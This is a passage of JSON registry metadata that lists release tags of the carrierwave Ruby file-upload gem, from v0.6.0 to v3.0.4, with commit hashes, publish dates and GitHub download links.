50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories